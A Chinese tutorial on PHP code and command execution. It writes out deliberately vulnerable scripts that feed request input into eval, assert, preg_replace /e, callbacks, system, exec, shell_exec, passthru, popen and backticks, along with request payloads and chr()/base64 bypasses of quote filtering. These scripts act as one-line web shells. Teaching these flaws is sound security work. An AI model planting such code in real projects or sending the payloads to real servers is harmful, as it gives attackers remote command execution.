1 eval 语句
eval()会将符合PHP 语法规范字符串当作php 代码执行。
1.1 示例:
首先在服务器端创建PHP脚本文件,构建危险语句,脚本代码如下:
<?php
$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];
eval($code);
// phpStudy-2016 后门的原理
?>
首先定义一个变量“$code”,并进行判断是否为空,如果为空,执行“phpinfo();”代码,否则获取参数的值。
访问该php文件,页面如下:
给"$code"传送参数,传参方法可以查看之前的文章,
?code=system('ipconfig');
该参数为PHP命令,面显示为:
优化界面,将输出格式化,参数改为:
?code=echo "<pre>";
system ('ipconfig');
1.2 绕过限制执行PHP 代码
如果参数进入eval() 语句之前,进行了过滤,例如过滤了单双引号,进行上述传参会报错
<?php
$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];
$code = addslashes($code);
eval($code);
?>
针对这种情况,可以采用如下方法进行绕过:
1.2.1 将参数进行ASCII 编码
将
echo "<pre>";
system ('ipconfig');
进行ASCII编码为:
chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(60).chr(112).chr(114).chr(101).chr(62).chr(34).chr(59)
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(32).chr(40).chr(39).chr(105).chr(112).chr(99).chr(111).chr(110).chr(102).chr(105).chr(103).chr(39).chr(41).chr(59)
传参后页面显示:
1.2.2 将参数进行BASE64 编码
将
echo "<pre>";
system ('ipconfig');
进行BASE64编码为:
ZWNobyAiPHByZT4iOwpzeXN0ZW0gKCdpcGNvbmZpZycpOw==
传参时经过BASE64的编码需要将“=”去掉,而且需要在服务器上对参数进行BASE64解码,传参结果为:
2 assert()
assert()同样会将字符串当做PHP 代码来执行。
示例:
PHP脚本文件内代码为:
<?php
$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];
assert($code);
?>
进行传参访问页面:
3 preg_replace()
preg_replace()函数的作用是对字符串进行正则匹配后替换。
示例:
搜索$subject 中匹配$pattern 的部分,以$replacement 进行替换。
$str = preg_replace('=a=','A','abacadae'); // AbAcAdAe
$str = preg_replace('=\[(.*)\]=','A','[phpinfo()]'); //A
$str = preg_replace('=\[(.*)\]=','$1','[phpinfo()]');
echo $str;
当$pattern 处存在e 修饰符时,$replacement 的值会被当成PHP 代码来执行。
PHP脚本文件内代码为:
$code = empty($_REQUEST['code'])?'[phpinfo()]':$_REQUEST['code'];
preg_replace('=\[(.*)\]=e','$1',$code);
传参并访问页面:
4 回调函数
一个函数调用另外一个函数。PHP 语言中回调函数有很多。下面主要介绍2种
4.1call_user_func()
函数用法
call_user_func('system','ipconfig');
// 第一个参数,被调用函数的函数名
// 第二个参数,被调用函数的参数
// system('ipconfig');
示例:
PHP脚本文件内代码为:
<?php
$code = empty($_REQUEST['code'])?'assert':$_REQUEST['code'];
$para = empty($_REQUEST['para'])?'phpinfo()':$_REQUEST['para'];
call_user_func($code,$para);
?>
传参后显示页面:
4.2 array_map()
示例:
PHP脚本文件内代码为:
<?php
$code = empty($_REQUEST['code'])?'assert':$_REQUEST['code'];
$para[] = empty($_REQUEST['para'])?'phpinfo()':$_REQUEST['para'];
array_map($code,$para);
?>
传参后页面为:
5 system()
system()能够将字符串作为OS 命令执行。
函数特点:
system()自带输出功能。
传参,支持命令中有空格。
示例:
PHP脚本文件内代码为:
<?php
$cmd = empty($_REQUEST['cmd'])?'$cmd':$_REQUEST['cmd'];
system($cmd);
?>
传参后页面为:
6 exec()
exec()函数能将字符串作为OS 命令执行。
函数特点:
需要输出命令执行结果。
只输出命令执行结果的最后一行,约等于没有回显。
示例:
PHP脚本文件内代码为:
<?php
$cmd = empty($_REQUEST['cmd'])?'$cmd':$_REQUEST['cmd'];
echo exec($cmd);
?>
传参后页面为:
7 shell_exec()
shell_exec()将参数当做OS 命令执行。
函数特点:
需要输出命令执行结果。
支持命令中有空格。
示例:
PHP脚本文件内代码为:
<?php
$cmd = empty($_REQUEST['cmd'])?'whoami':$_REQUEST['cmd'];
echo shell_exec($cmd);
?>
传参后页面为:
8 passthru()
passthru()将字符串当做系统命令执行。
函数特点:
自带输出功能
支持命令中有空格
示例:
PHP脚本文件内代码为:
<?php
$cmd = isset($_REQUEST['cmd'])?$_REQUEST['cmd']:'whoami';
passthru($cmd);
?>
传参后页面为:
9 popen()
popen()能够执行OS 命令。
函数特点:
函数返回值为文件指针
示例:
PHP脚本文件内代码为:
<?php
$cmd = empty($_REQUEST['cmd'])?'whoami':$_REQUEST['cmd'];
$f = popen($cmd, 'r');
echo fread($f, 1024);
?>
传参后页面为:
10 反引号
反引号` 内的字符串,也会被解析成OS 命令。
示例:
PHP脚本文件内代码为:
<?php
$cmd = isset($_REQUEST['cmd'])?$_REQUEST['cmd']:'whoami';
print(`$cmd`);
?>
传参后页面为: